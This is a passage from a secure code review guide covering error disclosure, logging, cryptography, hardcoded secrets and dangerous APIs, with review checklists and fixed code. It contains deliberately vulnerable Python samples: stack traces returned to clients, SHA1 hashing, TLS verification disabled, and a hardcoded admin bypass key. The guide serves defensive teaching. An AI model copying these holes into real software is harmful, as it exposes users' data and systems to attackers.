logger = logging.getLogger("reports")

@app.get("/reports/run")
async def run_report(request: Request):
    try:
        return await generate_report()
    except Exception as exc:
        # Stack trace returned to client – reveals paths, ORM queries, and library versions
        return JSONResponse(
            {"error": str(exc), "trace": traceback.format_exc()},
            status_code=500,
        )
```

Step-by-step review walkthrough

1. **Locate every catch block and exception handler** that writes to HTTP responses or API error payloads.

2. **Trace the FastAPI report route.** In the sample, `traceback.format_exc()` in JSON responses exposes internal paths and ORM details.
3. **Check framework and server configuration.** `web.xml` error pages, Spring `server.error.*`, Django `DEBUG`, FastAPI exception handlers, and Express error middleware.
4. **Trace whether stack traces reach clients** in any environment via `printStackTrace`, `e.message`, or full exception serialization.
5. **Review API layers** that serialize exceptions into JSON (`detail`, `stack`, embedded file paths).
6. **Confirm a catch-all error page exists** so undefined HTTP error codes do not fall back to container defaults.
7. **Inspect health and diagnostic endpoints** that echo environment variables or build metadata on failure.
8. **Verify logging sends stack traces to secure server logs**, not to the user agent.

Risk Impact (Family)

Targeted exploitation. Stack traces reveal framework versions, file paths, and SQL fragments attackers use to craft precise exploits.

Architecture mapping. Error details expose internal module names, dependency versions, and deployment layout.

Credential and query leakage. Database exceptions may include connection hints, table names, or parameter values.

Compliance exposure. Verbose errors conflict with policies requiring minimal client-facing diagnostic data.

Support confusion. Raw exceptions shown to end users erode trust and complicate incident triage.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Register error handlers that return generic messages. Log full exceptions server-side with a correlation ID.

```

import traceback
import logging
import uuid
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()
logger = logging.getLogger("reports")

@app.exception_handler(Exception)
async def handle_error(request, exc):
    request_id = str(uuid.uuid4())
    logger.exception("unhandled error request_id=%s", request_id)
    return JSONResponse(
        {"error": "An internal error occurred.", "request_id": request_id},
        status_code=500,
    )

@app.get("/reports/run")
async def run_report():
    return await generate_report()

```

Important: Keep Django `DEBUG=False` in production. Use `handler500` and logging settings for details. Never return `traceback.format_exc()` to users.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- No stack traces, SQL errors, or file paths appear in HTTP responses in production configurations.
- Catch-all and per-status error pages are configured so container defaults never leak versions.
- Framework debug modes and detailed error middleware are disabled outside local development.
- APIs return stable, minimal error shapes; support staff use correlation IDs tied to server logs.
- Exception logging is complete server-side but excludes secrets already covered in logging review.
- Security headers and custom error content are defense in depth, not the only control.
- Passwords, API keys, and long-lived tokens never appear in GET query strings or shareable URLs.
- Login and registration use POST with secrets in body or `Authorization` header over HTTPS.
- Access logs, APM, and error reporting do not store full URLs for authentication endpoints.
- Redirects after sensitive operations strip credentials from the visible URL bar.
- `Referrer-Policy` and cache headers are set where pages might still touch sensitive flows.
- OpenAPI or public docs do not advertise secret-bearing query parameters.
- Login, reset, and registration responses do not differ in wording, status, or structure based on account existence.
- Email and SMS are triggered only server-side; clients cannot infer delivery from response alone.
- Timing and workload are similar enough that trivial timing attacks are not trivially enabled.

- Rate limits and monitoring protect public authentication endpoints.
- Intentional enumeration (admin consoles) is role-gated and documented.
- API documentation matches uniform external behavior.
- Passwords, session IDs, access tokens, API keys, and connection strings never appear in application or access logs.
- Security-relevant events (login, logout, reset attempts, authz failures, admin actions) are logged with useful non-secret context.
- Debug logging of full requests is disabled in production or heavily redacted.
- Log shipping and retention policies treat log buckets as sensitive data stores.
- Developers removed temporary debug prints of tokens from reset and OAuth flows.
- Exception messages returned to users are separate from rich detail allowed only in server-side logs.
- All login attempts — successful and unsuccessful
- Log-outs
- Password changes and reset attempts
- User creation and removal, and changes to a user's authorization
- Authorization failures when a user is denied access to a resource
- Input validation failures, such as unexpected values from dropdown lists
- System administration activity
- Integrity events and submission of user-generated content — especially file uploads
- Access to sensitive data such as payment card information and keys
- Application source code and commercially sensitive information
- Session IDs, access tokens, and authentication passwords
- Sensitive personal data, bank account, or payment cardholder data
- Database connection strings, encryption keys, and other secrets
- Information that is illegal to collect or that the user has opted out of collecting
- Production log level defaults to INFO or WARN; DEBUG and TRACE do not emit PII in steady state.
- Error responses to users remain generic while server-side logs capture detail without secrets.
- Log aggregation storage has encryption, retention limits, and role-based access aligned with compliance needs.
- No passwords, API keys, tokens, or bypass instructions appear in comments, HTML, or commit messages in the repository.
- TODO and FIXME items on security work are tracked in issue trackers with restricted access, not as inline hints.
- Commented-out authentication, authorization, or validation code is removed rather than left as a re-enable target.
- Static secret scanning runs on every push and blocks merges when comments contain high-risk patterns.
- Production page source does not expose sensitive HTML comments to unauthenticated users.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.7 code reference — Review Information Disclosure and Logging](#).

Reference

- [Appendix — 4.7 code reference](#)
- [CWE-209: Generation of Error Message Containing Sensitive Information](#)
- [CWE-497: Exposure of Sensitive System Information](#)
- [OWASP Error Handling Cheat Sheet](#)
- [RFC 7807: Problem Details for HTTP APIs](#)
- [Django — Error reporting](#)
- [Flask — Error handling](#)
- [Spring Boot — Error handling properties](#)
- [ASP.NET Core — Handle errors](#)
- [Go log/slog package](#)
- [CWE-598: Use of GET Request Method With Sensitive Query Strings](#)
- [OWASP — Information exposure through query strings in URL](#)
- [MDN — Referrer-Policy](#)
- [Flask — HTTP methods](#)
- [FastAPI — Header parameters](#)
- [Spring Security — Form Login](#)
- [ASP.NET Core — Prevent cross-site request forgery](#)
- [Go net/http — Request handling](#)
- [CWE-204: Observable Response Discrepancy](#)
- [OWASP — Testing for Account Enumeration](#)
- [OWASP Authentication Cheat Sheet](#)
- [Django — Password reset views](#)
- [ASP.NET Core Identity — UserManager](#)
- [Spring Security — Authentication failure handling](#)
- [bcrypt — Python documentation](#)
- [CWE-532: Insertion of Sensitive Information into Log File](#)
- [OWASP — Logging Cheat Sheet](#)
- [Python logging — Filters](#)
- [SLF4J — Structured logging](#)
- [Serilog — Destructure policies](#)
- [Go slog package](#)
- [ASP.NET Core — Logging](#)
- [CWE-117: Improper Output Neutralization for Logs](#)
- [OWASP Logging Cheat Sheet](#)
- [OWASP Application Security Verification Standard](#)
- [Python logging documentation](#)
- [structlog documentation](#)
- [SLF4J manual](#)
- [Serilog destructuring](#)
- [Go zap logger](#)

- [CWE-615: Inclusion of Sensitive Information in Source Code Comments](#)
- [OWASP — Secrets Management Cheat Sheet](#)
- [Python os.environ](#)
- [dotnet user-secrets](#)
- [Azure Key Vault configuration provider](#)
- [HashiCorp Vault](#)
- [Gitleaks](#)

4.8 - Review Cryptography in Application Code

Overview

Application crypto fails when we invent protocols, misuse modes/IVs, or treat encoding as confidentiality. Prefer vetted libraries, current algorithms, and explicit key management—then verify those choices in code.

The points below are the ideas this family chapter uses again and again.

1. Application crypto fails when algorithms, modes, keys, or randomness are wrong for the threat.
2. Prefer vetted libraries and standard constructions over home-grown designs.
3. Implementation mistakes, non-standard practices, and enc/dec errors share that failure.
4. Separate confidentiality from integrity; know when AEAD is required.
5. Evidence names the crypto decision, missing control, impact, and a proving test.

After reading this chapter, we should be able to review application cryptography for standard constructions, key handling, and integrity needs.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Cryptographic implementation { **#implementation** }

Cryptographic implementation flaws weaken confidentiality, integrity, or authenticity of sensitive data. Common problems include hardcoded keys, disabled certificate verification, weak or custom algorithms, confusing hashing with encryption, and storing or transmitting secrets without protection.

Where to look

Signal	Where to look
Feature type	Password storage, API clients, file encryption helpers, payment tokenization, webhook signing
Secret loading	Environment variables, config files, KMS integrations, literals in source or committed test fixtures
TLS clients	<code>requests.get</code> , <code>HttpClient</code> , custom SSL contexts, outbound webhooks, import-from-URL features
Hash vs encrypt	Password "encryption," MD5/SHA1 for credentials, bare SHA-256 without salt, reversible credential storage
Custom crypto	XOR loops, ECB mode, static IVs, hand-rolled AES, missing authentication on ciphertext
Data at rest	Database columns, flat files, S3 objects, backups, and caches holding PII, tokens, or payment data

Appendix detail: [Cryptographic implementation code reference](#).

Non-standard crypto practices {: #non-standard }

Cryptography is easy to get wrong in subtle ways. Custom XOR "encryption," MD5 for passwords, static salts, ECB mode, and hand-rolled random number generators may look plausible but fail under analysis. Reinventing crypto also skips peer review, test vectors, and upstream patching that maintained libraries provide.

Where to look

Signal	Where to look
Feature type	Password utilities, session tokens, field encryption, "secure" checksum helpers
Custom modules	<code>CryptoUtil</code> , <code>EncryptHelper</code> , <code>SecureHash</code> , XOR loops, Caesar shifts
Weak hashes	MD5, SHA-1, or single-round SHA-256 for passwords without adaptive work factors
Mode misuse	AES-ECB, static IVs, nonce reuse in GCM implementations
Bad randomness	<code>Math.random</code> , <code>random.random</code> , time-seeded generators for tokens and keys
Hash vs encrypt confusion	Reversible password "encryption," symmetric ciphers used for credential storage
TLS bypass	<code>InsecureSkipVerify</code> , disabled hostname checks, legacy protocol enablement

Appendix detail: [Non-standard crypto practices code reference](#).

Encryption and decryption mistakes {:#enc-dec }

Encryption protects confidentiality; without authentication, attackers may tamper with ciphertext or perform padding oracle attacks. Common mistakes include AES-ECB for structured data, reusing IVs with GCM, deriving keys from passwords without KDFs, storing keys next to ciphertext, and confusing encoding (Base64) with encryption. Decryption endpoints may also become oracle surfaces when they return distinct errors for bad padding versus bad data.

Where to look

Signal	Where to look
Feature type	Field-level encryption, token wrapping, PII tokenization, backup protection, file at rest
Weak modes	AES-ECB, DES, 3DES, RC4, CBC without HMAC
IV/nonce issues	Hardcoded IV arrays, counters reset on restart, GCM nonce reuse
Key handling	Keys in source, config in git, keys stored beside ciphertext in the same database
Missing authentication	Encrypt-then-none patterns without GCM or encrypt-then-MAC
Oracle behavior	Decryption endpoints returning different errors for padding vs format failures
Wrong primitive	Reversible encryption of passwords instead of adaptive hashing

Appendix detail: [Encryption and decryption mistakes code reference](#).

Worked Example (Cryptographic implementation)

We walk **Cryptographic implementation** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
import hashlib
import httpx

WEBHOOK_SIGNING_KEY = "dev-only-signing-key"
API_KEY_STORE = {}

def create_api_key(client_name, secret):
    # SHA1 is not a password hash; no salt or slow hash
    API_KEY_STORE[client_name] = hashlib.sha1(secret.encode()).hexdigest()

def store_payment_token(user_id, pan):
    # Sensitive card data written to disk in cleartext
    with open(f"/var/data/tokens/{user_id}.txt", "w") as f:
        f.write(pan)

def deliver_webhook(url, payload):
    # TLS verification disabled; attacker can MITM
    return httpx.post(url, content=payload, verify=False, timeout=10).text
```

Step-by-step review walkthrough

1. **Find secret and key loading.** Search for API keys, JWT signing keys, database passwords, and Fernet keys in source, fixtures, and default config. Confirm production keys come from environment, vault, or cloud secret stores.
2. **Trace outbound HTTPS and TLS client configuration.** Inspect `verify=False`, permissive hostname verifiers, SSLv3/TLS 1.0, and trust-all certificate callbacks in HTTP clients.
3. **Locate password and token handling.** Distinguish one-way hashing for verification from reversible encryption for data that must be recovered. Flag MD5, SHA1, or unsalted SHA-256 used for passwords.
4. **Search for custom crypto.** Hand-rolled AES, RSA padding choices, ECB mode, static IVs, and "simple obfuscation" helpers used for real protection are high priority.
5. **Review data at rest.** Follow PII, tokens, and payment fields into database columns, file writes, backups, and caches. Confirm field-level or envelope encryption where policy requires it.
6. **Review data in transit.** Check service-to-service calls, webhooks, message queues, and mobile API clients for plain HTTP on reachable networks.
7. **Confirm operational hygiene.** Key rotation, separation of dev and prod secrets, and logs that never print keys, seeds, or decrypted payloads.

Risk Impact (Family)

Credential and key exposure. Hardcoded secrets in source or images let anyone with repo or container access impersonate services or decrypt stored data.

Traffic interception. Disabled TLS verification allows man-in-the-middle attacks on outbound calls, exposing tokens, PII, and session data in transit.

Password recovery. Weak or unsalted hashes enable offline cracking when database dumps leak; reversible "encryption" of passwords exposes cleartext to anyone with the key.

Data breach amplification. Cleartext storage of SSNs, health records, or payment data turns a filesystem or backup leak into a reportable incident.

Compliance and trust. Weak crypto undermines PCI, HIPAA, and contractual security requirements and erodes customer confidence after disclosure.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Load secrets from the environment and fail fast when missing. Use slow password hashes and authenticated encryption for application-level secrets at rest.

```
import os
from argon2 import PasswordHasher
from cryptography.fernet import Fernet
import httpx

ph = PasswordHasher()
FERNET_KEY = os.environ["TOKEN_VAULT_KEY"].encode()
fernet = Fernet(FERNET_KEY)

def create_api_key(client_name, secret):
    API_KEY_STORE[client_name] = ph.hash(secret)

def store_payment_token(user_id, pan):
    token = fernet.encrypt(pan.encode())
    db.execute("UPDATE users SET pan_token = ? WHERE id = ?", (token, user_id))

def deliver_webhook(url, payload):
    return httpx.post(url, content=payload, verify=True, timeout=10).text
```

Important: Never commit production keys. Use `ssl.create_default_context()` for custom TLS clients and enforce TLS 1.2+.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- No production secrets in source, images, or default configuration checked into the repository.
- TLS clients verify certificates and hostnames; minimum protocol is TLS 1.2 or 1.3.
- Passwords use slow password hashes; reversible encryption is reserved for data that must be recovered.
- Application crypto uses vetted libraries and modern AEAD modes; no custom ciphers or ECB for structured data.
- Sensitive data at rest is encrypted or tokenized; backups and replicas inherit the same controls.
- Internal and external API calls that carry secrets use HTTPS or equivalent mutual TLS.
- Logging and error paths do not emit keys, seeds, plaintext passwords, or decrypted payloads.
- Passwords use adaptive hashing with per-user salts; no MD5, SHA-1, or unsalted SHA-256 for credentials.
- Symmetric encryption uses modern AEAD modes with random nonces and keys from a secure store.
- Tokens and session identifiers come from cryptographically secure random generators.
- No custom XOR, substitution, or "simple encrypt" helpers protect production data.
- TLS clients validate certificates and use current protocol versions.
- Crypto code references standards or library documentation; custom algorithms require explicit security review and are avoided by default.
- Sensitive data at rest and in tokens uses modern AEAD with unique nonces per encryption operation.
- Keys are stored in KMS, HSM, or secret managers—not in source control or client bundles.
- Passwords are hashed with adaptive algorithms; reversible encryption is reserved for data that must be read back.
- Decryption failures return generic errors to callers; logs do not leak padding or oracle details to untrusted users.
- Key rotation and access logging exist for production encryption keys.
- Encoding (Base64, hex) is not mistaken for encryption in design documents or variable names.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.8 code reference — Review Cryptography in Application Code](#).

Reference

- Appendix — [4.8 code reference](#)
- [CWE-326: Inadequate Encryption Strength](#)

- [CWE-327: Use of a Broken or Risky Cryptographic Algorithm](#)
- [CWE-798: Use of Hard-coded Credentials](#)
- [OWASP Cryptographic Storage Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [NIST SP 800-132: Password-Based Key Derivation](#)
- [Python cryptography library](#)
- [argon2-cffi documentation](#)
- [Spring Security — Password Storage](#)
- [ASP.NET Core — Data Protection](#)
- [Go crypto/tls package](#)
- [Go golang.org/x/crypto/bcrypt](#)
- [CWE-328: Use of Weak Hash](#)
- [CWE-330: Use of Insufficiently Random Values](#)
- [NIST SP 800-131A: Transitioning Cryptographic Algorithms](#)
- [Python secrets module](#)
- [Java Cryptography Architecture](#)
- [Spring Security BCryptPasswordEncoder](#)
- [ASP.NET Core PasswordHasher](#)
- [Go crypto/rand](#)
- [CWE-311: Missing Encryption of Sensitive Data](#)
- [CWE-347: Improper Verification of Cryptographic Signature](#)
- [NIST SP 800-38D: GCM Mode](#)
- [Python cryptography AESGCM](#)
- [Java Cipher AES/GCM/NoPadding](#)
- [ASP.NET Core AesGcm](#)
- [Go crypto/cipher NewGCM](#)

4.9 - Review Secrets, Defaults, and Dangerous APIs

Overview

These patterns are foot-guns and misplaced trust: secrets in source, obsolete APIs, dangerous primitives, weak framework defaults, and validation that exists only in the browser. Hunt for them as inventory passes, then prove impact.

The points below are the ideas this family chapter uses again and again.

1. Secrets in source, dangerous dynamic APIs, weak defaults, and client-only validation expand blast radius.
2. Prefer secret stores, safe APIs, and secure framework defaults.
3. Client validation is UX; server enforcement is the control.
4. Related variants share misplaced trust in code, config, or the browser.
5. Evidence names the secret or API, missing control, impact, and a proving test.

After reading this chapter, we should be able to find hardcoded secrets, dangerous APIs, weak defaults, and client-only validation with shared habits.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Hardcoded secrets { : #secrets }

Hardcoded secrets are credentials or cryptographic material stored in source code instead of a secret manager or environment configuration. Anyone with repository access—or an attacker who extracts strings from a binary or container image—may recover them. Hardcoded authentication bypasses are especially dangerous because they often survive code review as "temporary" test hooks.

Where to look

Signal	Where to look
Feature type	Login handlers, API gateways, third-party SDK init, mobile app config, CI/CD scripts
Input entry	Password verification, header API-key checks, webhook signature validation
Static fields	<code>const</code> , <code>private static final</code> , module-level variables, <code>.env.example</code> with real values
Bypass branches	<code>if (password.equals("..."))</code> alongside bcrypt checks, debug flags in production paths
Crypto material	AES keys, HMAC secrets, JWT signing keys, PEM blocks committed to git
Connection strings	JDBC, MongoDB, Redis, SMTP URLs with embedded usernames and passwords
Client exposure	JavaScript bundles, mobile source, public config endpoints shipping server keys

Appendix detail: [Hardcoded secrets code reference](#).

Dangerous functions {:#dangerous-functions }

Some language and platform APIs execute arbitrary code or commands when passed a string. `eval()` in JavaScript and Python, `Function()` constructors, script engines, and shell invocation with concatenated arguments are common examples. When attacker-controlled data reaches these functions, the impact is often full code execution in the application's process context.

Where to look

Signal	Where to look
Feature type	Formula evaluators, rule engines, admin scripting, plugin loaders, template logic
Dynamic execution	<code>eval</code> , <code>exec</code> , <code>compile</code> , <code>Function()</code> , <code>setTimeout</code> with string arguments
Shell invocation	<code>subprocess</code> with <code>shell=True</code> , <code>/bin/sh -c</code> , <code>Runtime.exec</code> with concatenated commands
Reflection	<code>Class.forName</code> , <code>importlib</code> , user-controlled method or class names at runtime
Plugin loading	JARs, <code>.so</code> files, or scripts loaded from user-upload paths
Template logic	Jinja2 unsafe extensions, Velocity user templates, server-side scriptlets
Deserialization overlap	Native object deserialization treated as dynamic instantiation (see deserialization chapter)

Appendix detail: [Dangerous functions code reference](#).

Obsolete code {:#obsolete }

Dead code, test hooks, and outdated modules often linger after refactors. Some paths are still reachable through direct URLs, old API versions, or feature toggles left enabled. Obsolete authentication helpers, deprecated encryption routines, and temporary admin endpoints may lack the hardening applied to newer code. Attackers probe forgotten routes; insiders may know URLs that documentation no longer mentions.

Where to look

Signal	Where to look
Feature type	Legacy login routes, old API versions (/v0/, /v1/), debug endpoints, profiling handlers
Test artifacts	Hardcoded users, mock payment flows, QA bypasses without environment gating
Feature flags	Toggles defaulting to on, experiments never removed, alternate upload paths
Deprecated handlers	@Deprecated controllers, duplicate login implementations, pre-refactor validation
Commented blocks	Disabled auth checks left in comments, large duplicated logic with weaker controls
Build gaps	Debug controllers in Release builds, test packages bundled into production JARs
Static analysis hits	Unreferenced methods, unreachable branches flagged by coverage or linters

Appendix detail: [Obsolete code code reference](#).

Framework secure defaults {:#defaults }

Secure by default means the standard configuration is safe without extra steps. Web frameworks often provide CSRF middleware, template auto-escaping, secure session cookies, and parameterized data access. Teams can undermine these benefits with `DEBUG=True`, disabled CSRF, raw template modes, or secrets in source control.

Where to look

Signal	Where to look
Config surfaces	settings.py, application.yml, appsettings.json, config/environments/*.rb, Express app.js
Debug in prod	DEBUG=True, app.debug, verbose stack traces, Werkzeug debugger exposed
CSRF disabled	@csrf_exempt, csrf().disable(), missing CSRF on cookie-auth forms
Raw output	\ safe, th:utext, @Html.Raw on user-controlled model fields
Cookie flags	Missing Secure, HttpOnly, SameSite on session identifiers
Hardcoded secrets	SECRET_KEY, JWT secrets, DB passwords committed in config files

Appendix detail: [Framework secure defaults code reference](#).

Client-side validation { #client-validation }

Missing server-side validation is a business logic and input-trust flaw. Browsers can enforce pattern, required, maxlength, and JavaScript checks for user experience. Attackers bypass these controls with modified requests, custom HTTP clients, or browser devtools.

Where to look

Signal	Where to look
Feature type	Checkout, registration, transfers, profile update, admin forms, SPA JSON APIs
Client-only guards	HTML5 pattern, min, max, required; React/Vue validators with no server mirror
Hidden/trusted fields	role, price, userId, discount in POST bodies accepted without server recomputation
API parity gaps	Mobile and third-party callers hit endpoints with weaker validation than the web UI
Missing server libs	Handlers with no Bean Validation, Pydantic, FluentValidation, or Go validator tags
Partial persistence	Invalid input rejected in UI but partially saved when API calls skip validation

Appendix detail: [Client-side validation code reference](#).

Insecure coding practice { #insecure-practice }

These flaws come from convenience shortcuts, copy-pasted samples, or framework defaults left unchanged. The application still “uses HTTPS” or “uses JWT,” but the code does not actually validate the peer, token, or cookie the way the design assumes.

Where to look

Pattern	Where to look	Red flags
TLS / HTTPS verification disabled	<code>requests.get(..., verify=False)</code> , custom <code>TrustManager</code> that accepts all certs, <code>NODE_TLS_REJECT_UNAUTHORIZED=0</code> , gRPC/HTTP clients with insecure channel creds	Comments like “fix cert later,” test code shipped to prod
JWT signature / key mishandling	<code>get_unverified_claims</code> , hardcoded HMAC secrets, accepting <code>alg: none</code> , JWKS without issuer/audience checks	Auth middleware that trusts base64 payload segments
Insecure HTTP cookie flags	<code>set_cookie</code> without <code>httponly</code> / <code>secure</code> / <code>samesite</code> , legacy servlet cookies, framework session defaults	Session ID in URL, year-long <code>Max-Age</code> , logout that only clears client cookie
Hardcoded secrets (related)	API keys, DB passwords, signing keys in source	See 4.9 § Hardcoded secrets
Weak or custom crypto (related)	MD5 passwords, home-grown AES, mixed hash/encrypt	See 4.8 Review Cryptography in Application Code § Cryptographic implementation , 4.8 Review Cryptography in Application Code § Non-standard crypto practices , 4.8 Review Cryptography in Application Code § Encryption and decryption mistakes
Dangerous dynamic execution (related)	<code>eval</code> , <code>exec</code> , script engines on user input	See 4.9 § Dangerous functions
Sensitive data in logs or URLs (related)	Tokens/passwords in logs, credentials in GET	See 4.7 Review Information Disclosure and Logging § Sensitive data in URL , 4.7 Review Information Disclosure and Logging § Sensitive logging
Secrets in comments (related)	Password hints in HTML/JS comments	See 4.7 § Sensitive code comments
Insecure deserialization (related)	<code>pickle.loads</code> on untrusted bytes	See 4.3 § Insecure deserialization
Framework defaults left weak (related)	<code>DEBUG=True</code> , permissive CORS, CSRF off	See 4.9 § Framework secure defaults

Suggested additions for the same review pass: debug endpoints left enabled in production, permissive CORS with credentials, missing CSRF on state-changing cookie auth ([4.5 Review Authentication, Session, and Access Control § CSRF](#)), trust-all proxy headers without validation, and disabling security headers (CSP, HSTS) at the edge.

Appendix detail: [Insecure coding practice code reference](#).

Worked Example (Hardcoded secrets)

We walk **Hardcoded secrets** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

@app.route("/admin/sync")
def admin_sync():
    api_key = request.headers.get("X-API-Key")
    # Hardcoded bypass key grants admin access without user authentication
    if api_key == "nightly-etl-bypass-7k9m":
        return admin_dashboard()
    return "", 403

def sign_token(payload: dict) -> str:
    # JWT signing key embedded in source – cannot rotate without redeploy
    return jwt.encode(payload, "prod-jwt-hmac-static-v3", algorithm="HS256")
```

Step-by-step review walkthrough

1. **Search authentication checks.** Look for equals, ==, or compare against user-supplied passwords or API keys with string literals on either side.
2. **Inspect constants and config modules.** Read `config.py`, `.env` files in git, and `settings.py` for API keys, connection strings, and OAuth client secrets.
3. **Review bypass branches.** Flag OR conditions on password verification that accept a fixed string alongside normal hash checks.
4. **Trace encryption and signing.** Follow JWT, HMAC, and field-encryption code for hardcoded keys, IVs, and salts instead of key-management services.
5. **Check client-side code.** Mobile apps and front-end bundles must not ship server secrets; only public identifiers belong in client code.
6. **Follow third-party SDK initialization.** Stripe, Twilio, and cloud SDK calls often hide inline keys in setup blocks.
7. **Confirm CI/CD injects secrets at runtime.** Dockerfiles, Helm charts, and Terraform in git should reference secret names, not literal values.

Risk Impact (Family)

Authentication bypass. Hardcoded backdoor passwords or API keys let attackers skip normal credential checks entirely.

Credential theft and replay. Keys in source propagate to forks, backups, and decompiled binaries; stolen keys work until manual rotation.

Cloud and data exposure. Embedded AWS or database credentials may grant broad infrastructure access beyond the application tier.

Compliance and audit failure. Regulators and customers expect secrets in vaults with rotation logs; hardcoded values fail basic control reviews.

Incident response delay. When a key leaks, teams must redeploy code instead of rotating a secret in a manager within minutes.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Load secrets from environment or a secret backend. Remove test bypasses from production paths.

```
import os
import jwt

def get_secret(name: str) -> str:
    value = os.environ.get(name)
    if not value:
        raise RuntimeError(f"Missing required secret: {name}")
    return value

@app.route("/admin/sync")
def admin_sync():
    expected = get_secret("ADMIN_SYNC_API_KEY")
    if secrets.compare_digest(request.headers.get("X-API-Key", ""), expected):
        return admin_dashboard()
    return "", 403

def sign_token(payload: dict) -> str:
    key = get_secret("JWT_SIGNING_KEY")
    return jwt.encode(payload, key, algorithm="HS256")
```

Use pydantic-settings or django-environ for typed configuration. Run [gitleaks](#) or GitHub secret scanning in CI.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- No passwords, API keys, tokens, or private keys appear as string literals in application code.
- Authentication logic has no hardcoded bypass branches alongside normal credential checks.
- Secrets load from environment variables, secret managers, or encrypted configuration at runtime.
- Front-end and mobile clients use public identifiers only; sensitive keys stay on the server.
- Secret scanning runs in CI and on historical commits when onboarding a repository.
- Rotation procedures exist for every secret class; hardcoded values cannot be rotated without redeploying code.
- User-controlled input does not reach `eval`, equivalent dynamic execution, or unsafe deserialization APIs.
- Shell commands use argument arrays and allowlists; no `shell=True` or `sh -c` with interpolated user data.
- Plugin and template features use restricted DSLs or admin-only authoring with code review, not open user scripting.
- Dangerous functions in legacy modules are scheduled for removal or isolated from production routes.
- Static analysis and security tests cover known dangerous API usage in the codebase.
- Dead code, duplicate legacy endpoints, and test-only routes are removed or strictly environment-gated.
- Feature flags that expose alternate code paths have owners, expiry dates, and production defaults that fail secure.
- Deprecated API versions receive the same authentication, authorization, and input validation as current versions—or are shut down.
- Production builds exclude debug, profiling, and administrative utilities not required in prod.
- Coverage or static analysis confirms unreachable security-sensitive code is deleted, not commented out.
- Technical debt tickets for obsolete security paths are prioritized alongside new feature work.
- Framework secure defaults are enabled and not overridden in production configuration.
- Debug, verbose errors, and permissive CORS are confined to local development.
- Session and CSRF protections match the authentication model (cookie sessions need CSRF).
- Template and API output paths use framework escaping unless a documented exception exists.
- Dependencies are current and monitored; configuration drift is reviewed in each release.
- Every user-editable field has equivalent server-side validation before business logic runs.
- HTML5, JavaScript, and mobile validations are treated as UX only, not security controls.
- Trusted values (price, role, user ID, discount eligibility) are computed server-side, not read from the client.
- Invalid input returns consistent 400 responses with safe error messages; handlers do not partially persist bad data.
- API endpoints used by SPAs and mobile apps enforce the same rules as server-rendered forms.

- Security tests bypass the front end and send out-of-range, missing, and malformed fields to each endpoint.
- No production code path uses `verify=False`, `trust-all` TLS callbacks, or equivalent.
- JWT validation enforces signature, allowed algorithms, `exp`, and `iss/aud` where applicable; no `verify_signature=False` in deployed branches.
- Signing keys load from secret stores or JWKS with rotation; no long-lived hardcoded symmetric secrets in source.
- Session cookies use `HttpOnly` + `Secure` + deliberate `SameSite`; lifetimes match policy.
- User-controlled URLs are not fetched with TLS verification disabled (pair with SSRF allowlists).
- Related chapters (hardcoded secrets, CSRF, session management) are checked when any finding above is present.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.9 code reference — Review Secrets, Defaults, and Dangerous APIs](#).

Reference

- Appendix — [4.9 code reference](#)
- [CWE-798: Use of Hard-coded Credentials](#)
- [CWE-321: Use of Hard-coded Cryptographic Key](#)
- [OWASP Secrets Management Cheat Sheet](#)
- [NIST SP 800-57: Recommendation for Key Management](#)
- [AWS Secrets Manager documentation](#)
- [HashiCorp Vault documentation](#)
- [Python `os.environ`](#)
- [pydantic-settings documentation](#)
- [Spring Cloud Config](#)
- [Azure Key Vault configuration provider](#)
- [Go `crypto/subtle.ConstantTimeCompare`](#)
- [CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code](#)
- [CWE-78: OS Command Injection](#)
- [OWASP Code Injection](#)
- [Python `ast.literal\_eval`](#)
- [Python subprocess security considerations](#)
- [Java `ProcessBuilder`](#)
- [System.Text.Json documentation](#)
- [Go `exec.Command`](#)
- [CWE-561: Dead Code](#)
- [CWE-489: Active Debug Code](#)

- [OWASP Web Security Testing Guide — Configuration and Deployment Management](#)
- [Go build constraints](#)
- [Python vulture](#)
- [ArchUnit user guide](#)
- [staticcheck documentation](#)
- [OWASP — Secure Configuration Cheat Sheet](#)
- [Django — Deployment checklist](#)
- [Django — Settings reference](#)
- [Flask — Configuration handling](#)
- [Spring Security — Getting started](#)
- [ASP.NET Core — Security overview](#)
- [Gin — Mode and middleware](#)
- [CWE-602: Client-Side Enforcement of Server-Side Security](#)
- [CWE-20: Improper Input Validation](#)
- [OWASP Input Validation Cheat Sheet](#)
- [Pydantic v2 — field constraints](#)
- [Marshmallow documentation](#)
- [Jakarta Bean Validation](#)
- [Hibernate Validator](#)
- [ASP.NET Core model validation](#)
- [FluentValidation](#)
- [go-playground/validator](#)
- [OWASP Transport Layer Protection Cheat Sheet](#)
- [Python requests — SSL Cert Verification](#)
- [Python PyJWT — Usage \(decode with verification\)](#)
- [RFC 7519 — JSON Web Token \(JWT\)](#)
- [OWASP JSON Web Token Cheat Sheet for Java](#)
- [OWASP Session Management Cheat Sheet](#)
- [MDN — Set-Cookie \(HttpOnly, Secure, SameSite\)](#)
